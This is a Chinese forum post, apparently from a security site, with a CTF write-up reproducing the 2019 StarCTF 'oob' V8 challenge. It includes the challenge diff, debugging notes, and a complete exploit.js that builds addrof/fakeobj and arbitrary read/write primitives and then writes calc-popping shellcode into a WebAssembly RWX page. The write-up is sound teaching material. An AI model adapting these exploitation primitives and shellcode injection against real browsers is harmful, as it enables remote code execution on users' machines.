首页
论坛
课程
招聘
[原创]v8利用初探 2019 StarCTF oob 复现分析
2021-8-16 17:00 10562

[原创]v8利用初探 2019 StarCTF oob 复现分析

2021-8-16 17:00
10562

0xFF 前言

新人第一次分析v8利用,v8的资料在墙内墙外都挺多的,但质量良莠不齐,过程中也是走了不少的弯路,踩了不少的坑,不过最后还是成功复现了一次完整的利用,特此记录一下。

0x00 环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 全局vpn
# 下载Google的环境部署工具
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
# 配置环境变量
echo "export PATH=/home/pwn/tools/depot_tools:$PATH" >> ~/.bashrc
# 获取v8源码
fetch v8
cd v8
# 切换至指定的commit版本
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
# 工具同步
gclient sync
# 应用题目的补丁文件
git apply ../oob.diff
# 编译release版本
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release
# 编译debug版本
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug

0x01 poc测试

1
~/Desktop/v8/v8/v8/out.gn/x64.release$ ./d8 /home/srp8ve7ou2/Desktop/v8/starctf2019/wasm_pwn.js

成功弹出计算器

0x02 diff文件

我们仅仅需要关注diff文件的22-42行即可,其它部分的删改只是为了能让v8正确地编译通过。
这个diff文件给Array对象增加了一个oob方法,提供了数组越界读写的功能,不提供参数时为越界读(arr.oob())
提供一个参数时为越界写(arr.oob(val))。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

0x03 基本的调试方法

1、辅助输出的js函数,实现浮点数和整数相互转换的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
 
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

2、v8内置的辅助函数

1
2
3
4
# 输出obj对象的内存信息
1%DebugPrint(obj);
# 控制权从d8转交给gdb调试器,方便观察内存数据
2%SystemBreak();

3、不同数据类型的表示方法

1
2
3
double浮点数类型:为64位浮点数的正常表示
smi整数类型:低32位为0,高32位为该整数
指针类型:最低位永远为1

0x04 v8 Array对象的内存布局

做实验:首先创建了一个长度为2的浮点数数组,然后用DebugPrint输出该数组的调试信息。
我们需要关注Array对象的地址和Array对象的map域和element域。
element域可以理解为一个指针,指向的是这个Array具体保存的数据。
map域比较复杂但是很重要,可以简单理解成v8用它来表示这是一个什么样的对象,以及采用什么样的方法来对这个对象进行各种操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
srp8ve7ou2@vm:~/Desktop/v8/v8/v8/out.gn/x64.debug$ gdb d8
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
 
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded for GDB 9.2 using Python engine 3.8
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from d8...
gef➤  run --allow-natives-syntax
Starting program: /home/srp8ve7ou2/Desktop/v8/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff3a87700 (LWP 15179)]
V8 version 7.5.0 (candidate)
d8> var a = [1.1,2.2]
undefined
d8> %DebugPrint(a)
DebugPrint: 0x2013f4c4dd79: [JSArray]
 - map: 0x1f8bf2202ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x20ef3d611111 <JSArray[0]>
 - elements: 0x2013f4c4dd59 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x0838ec040c71 <FixedArray[0]> {
    #length: 0x2c439fb801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2013f4c4dd59 <FixedDoubleArray[2]> {
           0: 1.1
           1: 2.2
 }
0x1f8bf2202ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x1f8bf2202e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2c439fb80609 <Cell value= 1>
 - instance descriptors #1: 0x20ef3d611f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x20ef3d611eb9 <TransitionArray[4]>Transition array #1:
     0x0838ec044ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1f8bf2202f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
 
 - prototype: 0x20ef3d611111 <JSArray[0]>
 - constructor: 0x20ef3d610ec1 <JSFunction Array (sfi = 0x2c439fb8aca1)>
 - dependent code: 0x0838ec0402c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
 
[1.1, 2.2]
d8>

切换到调试器模式看内存:
map的偏移为0,elements的偏移为0x10

1
2
3
gef➤  x/4gx 0x2013f4c4dd79-1
0x2013f4c4dd78:    0x00001f8bf2202ed9    0x00000838ec040c71
0x2013f4c4dd88:    0x00002013f4c4dd59    0x0000000200000000

elements指向的区域就在这个Array对象的正前方:
其中0x3ff199999999999a 0x400199999999999a就是1.1和2.2在内存中的64位表示。
再往前的0x00000838ec0414f9 0x0000000200000000则分别代表另一个对象的map域和这个数组的长度(smi类型)

1
2
3
4
5
6
gef➤  x/10gx 0x2013f4c4dd59-1
0x2013f4c4dd58:    0x00000838ec0414f9    0x0000000200000000
0x2013f4c4dd68:    0x3ff199999999999a    0x400199999999999a
0x2013f4c4dd78:    0x00001f8bf2202ed9    0x00000838ec040c71
0x2013f4c4dd88:    0x00002013f4c4dd59    0x0000000200000000
0x2013f4c4dd98:    0x00000838ec040941    0x00000adce0993e5a

所以题目提供的array.oob()方法恰好能对该array的map域进行越界读写

0x05 利用越界读写map来实现任意地址读写功能

首先要实现取对象地址功能和在任意地址伪造对象的功能。
刚才已经提到过v8通过对象的map域来决定对象的数据类型以及操作方法。
所以下面我们先定义了一个长度为1的对象数组,其唯一的一个元素是一个对象。
再定义了一个长度为4的浮点数数组。
利用oob方法越界读取出这两个数组的map对象的地址值。
获取任意对象地址:
我们先把需要获取地址的对象放入对象数组中,然后将这个对象数组的map篡改为浮点数组的map域。此时再读取这个对象,由于map域被改成了浮点类型的map域,v8会将这个对象的地址当成一个浮点数返回给我们。
任意地址伪造对象:
与上面功能类似,这里是把浮点数组的index0处的数据改为任意地址,然后把浮点数组的map域篡改成对象数组的map域,然后在获取这个值,v8引擎则会将该地址作为一个对象返回给我们。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var fl_arr = [1.1, 1.2, 1.3, 1.4];
var map1 = obj_arr.oob();
var map2 = fl_arr.oob();
 
function addrof(in_obj) {
    obj_arr[0] = in_obj;
    obj_arr.oob(map2);
    let addr = obj_arr[0];
    obj_arr.oob(map1);
    return ftoi(addr);
}
 
function fakeobj(addr) {
    fl_arr[0] = itof(addr);
    fl_arr.oob(map1);
    let fake = fl_arr[0];
    fl_arr.oob(map2);
    return fake;
}

接下来实现的是任意地址读取的功能:
先定义一个长度为4的浮点数数组,其index0处放置的是另一个浮点数数组的map域。
然后用上面的fakeobj功能在该map域伪造另一个浮点数数组,那么伪造的这个浮点数数组的element域就对应着原来数组的arb_rw_arr[2],把这个伪造的element域指向要读取地址-0x10,再利用fakeobj完成读取功能即可

1
2
3
4
5
6
7
8
9
10
11
12
var arb_rw_arr = [map2, 1.2, 1.3, 1.4];
 
function arb_read(addr) {
    if (addr % 2n == 0)
    addr += 1n;
 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    return ftoi(fake[0]);
}

任意地址写功能实现起来比较麻烦,不能直接利用fakeobj来任意写(会报错),还需要通过ArrayBuffer和DataView来实现具体的功能,具体的原因和过程我并没深究:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Write to index 0 as a floating point value
    fake[0] = itof(BigInt(val));
}
 
function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
    dataview.setBigUint64(0, BigInt(val), true);
}

0x06 完成最后的利用

有了任意地址读写功能后的最后一个问题是如何实现任意代码执行。
这里需要提到的是v8内嵌的wasm字节码在内存中是以RWX的权限保存的。
大致的利用思路:
1、分配一个WebAssembly对象。
2、本地调试找到字节码存放的具体地址
3、利用任意写功能把shellcode写到该地址处
4、调用该wasm对象,完成任意代码执行。

0x07 exploit.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
 
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
 
/// Construct addrof primitive
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var fl_arr = [1.1, 1.2, 1.3, 1.4];
var map1 = obj_arr.oob();
var map2 = fl_arr.oob();
 
function addrof(in_obj) {
    // First, put the obj whose address we want to find into index 0
    obj_arr[0] = in_obj;
 
    // Change the obj array's map to the float array's map
    obj_arr.oob(map2);
 
    // Get the address by accessing index 0
    let addr = obj_arr[0];
 
    // Set the map back
    obj_arr.oob(map1);
 
    // Return the address as a BigInt
    return ftoi(addr);
}
 
function fakeobj(addr) {
    // First, put the address as a float into index 0 of the float array
    fl_arr[0] = itof(addr);
 
    // Change the float array's map to the obj array's map
    fl_arr.oob(map1);
 
    // Get a "fake" object at that memory location and store it
    let fake = fl_arr[0];
 
    // Set the map back
    fl_arr.oob(map2);
 
    // Return the object
    return fake;
}
 
var arb_rw_arr = [map2, 1.2, 1.3, 1.4];
 
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
 
function arb_read(addr) {
    // We have to use tagged pointers for reading, so we tag the addr
    if (addr % 2n == 0)
    addr += 1n;
 
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to read_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Index 0 will then return the value at read_addr
    return ftoi(fake[0]);
}
 
function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Write to index 0 as a floating point value
    fake[0] = itof(BigInt(val));
}
 
function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
    dataview.setBigUint64(0, BigInt(val), true);
}
 
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
 
var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);
 
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
 
function copy_shellcode(addr, shellcode) {
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
 
    for (let i = 0; i < shellcode.length; i++) {
    dataview.setUint32(4*i, shellcode[i], true);
    }
}
 
// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
 
console.log("[+] Copying xcalc shellcode to RWX page");
 
copy_shellcode(rwx_page_addr, shellcode);
 
console.log("[+] Popping calc");
 
f();

0x08 参考链接

1、Exploiting v8: *CTF 2019 oob-v8
2、V8 Exploitation : Star CTF 2019 OOB-v8 | by 0verflowme | Medium


【公告】【iPhone 13、ipad、iWatch】11月15日中午12:00,看雪·众安 2021 KCTF秋季赛 正式开赛【攻击篇】!!!文末有惊喜~

最后于 2021-8-16 17:02 被srp8ve7ou2编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (4)
雪    币: 5920
活跃值: 活跃值 (12208)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
ScUpax0s 活跃值 11 2021-8-17 13:09
2
0
支持
雪    币: 5920
活跃值: 活跃值 (12208)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
ScUpax0s 活跃值 11 2021-8-17 13:15
3
0
目前板块内浏览器相关的比较少,可以多分享一些~
雪    币: 225
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
坐看云起 活跃值 2021-8-18 12:19
4
0
头像好评
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
嘉然今天吃么 活跃值 2021-11-8 11:01
5
0
"然后用上面的fakeobj功能在该map域伪造另一个浮点数数组"

应该是在element域伪造吧
游客
登录 | 注册 方可回帖
返回